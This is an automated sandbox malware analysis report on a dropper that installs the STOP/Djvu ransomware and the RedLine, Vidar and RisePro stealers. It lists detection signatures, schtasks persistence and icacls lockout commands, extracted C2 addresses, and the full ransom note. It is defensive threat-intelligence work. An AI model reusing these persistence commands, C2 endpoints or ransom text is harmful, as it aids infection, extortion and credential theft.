Edit tour

Windows Analysis Report
CHA0VZiz8y.exe

Overview

General Information

Sample name:	CHA0VZiz8y.exe renamed because original name is a hash value
Original sample name:	f0587649682207064554a2372966435d.exe
Analysis ID:	1447491
MD5:	f0587649682207064554a2372966435d
SHA1:	2e8b948dfcffceb8acf550a585d2ea127f28f41f
SHA256:	6bd479dd9293043d4149641897629169df609adf72926d32adfe0094c583828e
Tags:	64exetrojan
Infos:

Detection

CryptOne, Djvu, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Yara detected AntiVM3

Yara detected CryptOne packer

Yara detected Djvu Ransomware

Yara detected Mars stealer

Yara detected Powershell download and execute

Yara detected PureLog Stealer

Yara detected RedLine Stealer

Yara detected RisePro Stealer

Yara detected Vidar stealer

Yara detected zgRAT

Adds extensions / path to Windows Defender exclusion list (Registry)

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Creates HTML files with .exe extension (expired dropper behavior)

Creates multiple autostart registry keys

Disable Windows Defender real time protection (registry)

Disables Windows Defender (deletes autostart)

Drops PE files to the document folder of the user

Exclude list of file types from scheduled, custom, and real-time scanning

Found direct / indirect Syscall (likely to bypass EDR)

Hides threads from debuggers

Injects a PE file into a foreign processes

Installs new ROOT certificates

Machine Learning detection for dropped file

Modifies Group Policy settings

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

PE file contains section with special chars

PE file has nameless sections

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses process hollowing technique

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Uses schtasks.exe or at.exe to add and modify task schedules

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates or modifies windows services

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops certificate files (DER)

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Enables security privileges

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

File is packed with WinRar

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

PE file does not import any functions

Queries disk information (often used to detect virtual machines)

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Potentially Suspicious Rundll32 Activity

Sigma detected: Windows Defender Exclusions Added - Registry

Uses Microsoft's Enhanced Cryptographic Provider

Uses cacls to modify the permissions of files

Uses code obfuscation techniques (call, push, ret)

Yara detected Keylogger Generic

Yara signature match

Classification

Process Tree

System is w10x64

CHA0VZiz8y.exe (PID: 4120 cmdline: "C:\Users\user\Desktop\CHA0VZiz8y.exe" MD5: F0587649682207064554A2372966435D)

_ebPmq_TcwNignYm0bf0ytJM.exe (PID: 2300 cmdline: C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe MD5: 9A78F27AA9D999EEE10CB154BA964869)

7U1bGcxK3Lqi_XMHDNEdJrhB.exe (PID: 3680 cmdline: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe MD5: ADD437E239EBA1CEABCA80AF38F80B56)

7U1bGcxK3Lqi_XMHDNEdJrhB.exe (PID: 5316 cmdline: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe MD5: ADD437E239EBA1CEABCA80AF38F80B56)

icacls.exe (PID: 7628 cmdline: icacls "C:\Users\user\AppData\Local\cd606818-a84b-463e-828b-b93214ba547c" /deny *S-1-1-0:(OI)(CI)(DE,DC) MD5: 2E49585E4E08565F52090B144062F97E)

xS7PhKcNZTx4FuBAD1RB9kbJ.exe (PID: 3944 cmdline: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe MD5: 0951BF8665040A50D5FB548BE6AC7C1D)

ogoGQsWFwF_EcodN5qF7hiVC.exe (PID: 3056 cmdline: C:\Users\user\Documents\SimpleAdobe\ogoGQsWFwF_EcodN5qF7hiVC.exe MD5: 22152460B13E4C2473DC3FCDEA192933)

RegAsm.exe (PID: 2888 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 5228 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

Zy329tNpRVznAcNUeSg4uGuQ.exe (PID: 1400 cmdline: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe MD5: 6151F5177B7B35E3D7CEE99A2FC9AF24)

J9jGBSSbDD3yrTx79DzmOLls.exe (PID: 3652 cmdline: C:\Users\user\Documents\SimpleAdobe\J9jGBSSbDD3yrTx79DzmOLls.exe MD5: D816AEC818E5BE0A3B7AF1AEA4BCA1D8)

RegAsm.exe (PID: 2884 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

zfQlIB6J8n2u_zLV5LHnA1xW.exe (PID: 3920 cmdline: C:\Users\user\Documents\SimpleAdobe\zfQlIB6J8n2u_zLV5LHnA1xW.exe MD5: E22EFC95638F4C4E07FD7DABA5BD3154)

kat806.tmp (PID: 3652 cmdline: C:\Users\user\AppData\Local\Temp\kat806.tmp MD5: 66064DBDB70A5EB15EBF3BF65ABA254B)

ZMyjNtrJZsXoQ4xLeKYzrWJD.exe (PID: 4268 cmdline: C:\Users\user\Documents\SimpleAdobe\ZMyjNtrJZsXoQ4xLeKYzrWJD.exe MD5: C0FEE8DB6325C8C1B3F8CCD13574C65A)

A_22rjVO67ooiUk2ueyL6tMl.exe (PID: 6444 cmdline: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe MD5: D9A7D15AE1511095BC12D4FAA9BE6F70)

MSBuild.exe (PID: 7648 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

EPA5EhRzK9ZnpAjdUqLJteUs.exe (PID: 6096 cmdline: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe MD5: F57F726F9E1B8C24B4F7C275FFAC78CF)

schtasks.exe (PID: 2232 cmdline: schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7232 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 7364 cmdline: schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 LG" /sc ONLOGON /rl HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7372 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

_rSi8sV87ppx0bgkbETdFbEZ.exe (PID: 4676 cmdline: C:\Users\user\Documents\SimpleAdobe\_rSi8sV87ppx0bgkbETdFbEZ.exe MD5: 8B7B381CF7D4F577009F99FCE7E5FD39)

_rSi8sV87ppx0bgkbETdFbEZ.tmp (PID: 2676 cmdline: "C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp" /SL5="$4042A,5528781,54272,C:\Users\user\Documents\SimpleAdobe\_rSi8sV87ppx0bgkbETdFbEZ.exe" MD5: 73919C5267ECFF99768AE00DFA5D9C3F)

turquoisecdplayer.exe (PID: 4204 cmdline: "C:\Users\user\AppData\Local\Turquoise CD Player\turquoisecdplayer.exe" -i MD5: 578530F1C73BA58C2D868B45C7223945)

MYZqYdU5cUVwEz2j0JYbnTar.exe (PID: 5736 cmdline: C:\Users\user\Documents\SimpleAdobe\MYZqYdU5cUVwEz2j0JYbnTar.exe MD5: 32D986D13D2B4B6ACDC7ACE345D66BD4)

control.exe (PID: 7320 cmdline: "C:\Windows\System32\control.exe" "C:\Users\user\AppData\Local\Temp\eKhLlZQ.CPL", MD5: EBC29AA32C57A54018089CFC9CACAFE8)

rundll32.exe (PID: 7404 cmdline: "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL "C:\Users\user\AppData\Local\Temp\eKhLlZQ.CPL", MD5: 889B99C52A60DD49227C5E485A016679)

FIxDICT7hSLYFeTzbHHqKZ7Z.exe (PID: 6208 cmdline: C:\Users\user\Documents\SimpleAdobe\FIxDICT7hSLYFeTzbHHqKZ7Z.exe MD5: 3955AF54FBAC1E43C945F447D92E4108)

0YXJTGaxIrryNdvx7SKozTjt.exe (PID: 5556 cmdline: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe MD5: 029B4A16951A6FB1F6A1FDA9B39769B7)

EEmC0rfrxeQDEUW4Qmh7BQX4.exe (PID: 5276 cmdline: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe MD5: EEAB6B508F842CE18D229914CD7167F7)

RPA18tS89oJgBrOTDKzODMll.exe (PID: 5372 cmdline: C:\Users\user\Documents\SimpleAdobe\RPA18tS89oJgBrOTDKzODMll.exe MD5: D43AC79ABE604CAFFEFE6313617079A3)

g_XGqx6vQcj4WvdQ2CmFiUpM.exe (PID: 5416 cmdline: C:\Users\user\Documents\SimpleAdobe\g_XGqx6vQcj4WvdQ2CmFiUpM.exe MD5: 3542F60DFEF8BA16451AB6097587BF63)

Install.exe (PID: 5676 cmdline: .\Install.exe MD5: 0EC8D7480C7D858848914B24584B17B4)

Install.exe (PID: 7448 cmdline: .\Install.exe /jfXIEdidloJv "525403" /S MD5: C5FBFA06070EF1EA150FA88E1B6C6684)

svchost.exe (PID: 5780 cmdline: C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 5708 cmdline: C:\Windows\System32\svchost.exe -k NetSvcs -p -s NcaSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 5520 cmdline: C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 7608 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
STOP, Djvu	STOP Djvu Ransomware it is a ransomware which encrypts user data through AES-256 and adds one of the dozen available extensions as marker to the encrypted file's name. It is not used to encrypt the entire file but only the first 5 MB. In its original version it was able to run offline and, in that case, it used a hard-coded key which could be extracted to decrypt files.	No Attribution	https://angle.ankura.com/post/102het9/the-stop-ransomware-variant https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://cybergeeks.tech/a-detailed-analysis-of-the-stop-djvu-ransomware/ https://cybleinc.com/2021/06/21/djvu-malware-of-stop-ransomware-family-back-with-new-variant/	https://malpedia.caad.fkie.fraunhofer.de/details/win.stop

Name	Description	Attribution	Blogpost URLs	Link
RedLine Stealer	RedLine Stealer is a malware available on underground forums for sale apparently as standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://apophis133.medium.com/redline-technical-analysis-report-5034e16ad152 https://asec.ahnlab.com/en/30445/ https://asec.ahnlab.com/en/35981/ https://asec.ahnlab.com/ko/25837/	https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: Vidar

{"C2 url": ["https://steamcommunity.com/profiles/76561199689717899"], "Botnet": "c21b45a432889af65aa05cd66920d0a2", "Version": "9.8"}

Threatname: Djvu

{"Download URLs": [""], "C2 url": "http://cajgtus.com/lancer/get.php", "Ransom note file": "_readme.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nDo not ask assistants from youtube and recovery data sites for help in recovering your data.\r\nThey can use your free decryption quota and scam you.\r\nOur contact is emails in this text document only.\r\nYou can get and look video overview decrypt tool:\r\nhttps://wetransfer.com/downloads/33b490a613f49fa190924f199d2c079e20240512191214/caaf73\r\nPrice of private key and decrypt software is $999.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $499.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nsupport@freshingmail.top\r\n\r\nReserve e-mail address to contact us:\r\ndatarestorehelpyou@airmail.cc\r\n\r\nYour personal ID:\r\n0873PsawqS", "Ignore Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", ".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", "E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package Cache\\", "E:\\Users\\Public\\", "E:\\$Recycle.Bin\\", "E:\\$WINDOWS.~BT\\", "E:\\dell\\", "E:\\Intel\\", "E:\\MSOCache\\", "E:\\Program Files\\", "E:\\Program Files (x86)\\", "E:\\Games\\", "F:\\Users\\%username%\\AppData\\Roaming\\", "F:\\Users\\%username%\\AppData\\Local\\", "F:\\Windows\\", "F:\\PerfLogs\\", "F:\\ProgramData\\Desktop\\", "F:\\ProgramData\\Microsoft\\", "F:\\Users\\Public\\", "F:\\$Recycle.Bin\\", "F:\\$WINDOWS.~BT\\", "F:\\dell\\", "F:\\Intel\\"], "Public Key": "-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA8xYa6j6LzNJB2kuwO9Xc\\\\nSWMnTH6B2dX\\/XX8jCZc7kUlSg50HcwN2bYxLmKAwhfJZPFIYAufx4nMDKTEKIK5\\/\\\\n4RtQWlcufmpr7vcIJMnyyxwwyni9YfRUJR5VIIhfKzQE3gIQZ29b3M6dqzQeQ+oX\\\\nxHUQPadvTz\\/oYY7IbyFLZsHCxHKG2G2v4Yg4SX0nqMuvuzdAT+fLgmZd1ENiuf4U\\\\nWhF6Td3TAs0EkPT6MrxIXCKIQS5LAXEBcAlxRfv4QU03yP7NBxk4\\/gW6l4kV3RuO\\\\nbgqMAuPe3AkrIuOm1zi5FGsr7e8Y8KYE\\/RfQnJe+eOsmXlnhEpJGk1OLIrGxPETz\\\\nUQIDAQAB\\\\n-----END PUBLIC KEY-----"}

Threatname: RedLine

{"C2 url": "5.42.65.115:40551", "Bot Id": "LogsDiller Cloud (TG: @logsdillabot)", "Authorization Header": "3a050df92d0cf082b2cdaf87863616be"}

Yara Signatures

Dropped Files

Source	Rule	Description	Author
C:\Users\user\AppData\Local\Temp\G1Y1cICOYjk_P6MTvNhL7sj.zip	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\i2FqtYqlXCxQLo2ZIevRzA8.zip	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
0000000E.00000002.2606812448.0000000003C8C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000009.00000002.2293452659.0000000000477000.00000004.00000001.01000000.00000009.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000C.00000002.2320846713.0000000004319000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Crypt	Yara detected CryptOne packer	Joe Security
00000029.00000002.2465855956.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000007.00000002.2311748071.0000000002170000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000014.00000003.2296250403.0000000004920000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000014.00000003.2296250403.0000000004920000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
0000000E.00000000.2266197457.0000000000532000.00000002.00000001.01000000.0000000D.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000000D.00000003.2439988856.0000000005CB1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
00000007.00000002.2311839298.0000000002210000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000007.00000002.2311839298.0000000002210000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000001B.00000002.2662012015.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000001B.00000002.2662012015.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000001B.00000002.2662012015.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0000000C.00000002.2337447194.0000000004510000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000C.00000002.2337447194.0000000004510000.00000004.00001000.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x221f0:$s1: JohnDoe 0x221e8:$s2: HAL9TH
0000000B.00000002.2290908467.0000000000AC7000.00000004.00000001.01000000.0000000B.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000000C.00000002.2317913229.0000000002260000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000C.00000002.2317913229.0000000002260000.00000040.00001000.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x20df0:$s1: JohnDoe 0x20de8:$s2: HAL9TH
00000006.00000003.2429156164.0000000005AF6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
0000000C.00000002.2320846713.0000000004210000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000C.00000002.2320846713.0000000004210000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: 7U1bGcxK3Lqi_XMHDNEdJrhB.exe PID: 3680	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: 7U1bGcxK3Lqi_XMHDNEdJrhB.exe PID: 3680	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x4f4eb:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: ogoGQsWFwF_EcodN5qF7hiVC.exe PID: 3056	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: ogoGQsWFwF_EcodN5qF7hiVC.exe PID: 3056	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: J9jGBSSbDD3yrTx79DzmOLls.exe PID: 3652	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: zfQlIB6J8n2u_zLV5LHnA1xW.exe PID: 3920	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: zfQlIB6J8n2u_zLV5LHnA1xW.exe PID: 3920	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: zfQlIB6J8n2u_zLV5LHnA1xW.exe PID: 3920	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: A_22rjVO67ooiUk2ueyL6tMl.exe PID: 6444	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Click to see the 26 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
26.2.RegAsm.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x20df0:$s1: JohnDoe 0x20de8:$s2: HAL9TH
9.2.ogoGQsWFwF_EcodN5qF7hiVC.exe.477ac0.1.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
9.2.ogoGQsWFwF_EcodN5qF7hiVC.exe.477ac0.1.unpack	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x201f0:$s1: JohnDoe 0x201e8:$s2: HAL9TH
11.2.J9jGBSSbDD3yrTx79DzmOLls.exe.aa0000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
12.2.zfQlIB6J8n2u_zLV5LHnA1xW.exe.4510000.2.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
12.2.zfQlIB6J8n2u_zLV5LHnA1xW.exe.4510000.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x221f0:$s1: JohnDoe 0x221e8:$s2: HAL9TH
27.2.7U1bGcxK3Lqi_XMHDNEdJrhB.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
27.2.7U1bGcxK3Lqi_XMHDNEdJrhB.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
27.2.7U1bGcxK3Lqi_XMHDNEdJrhB.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
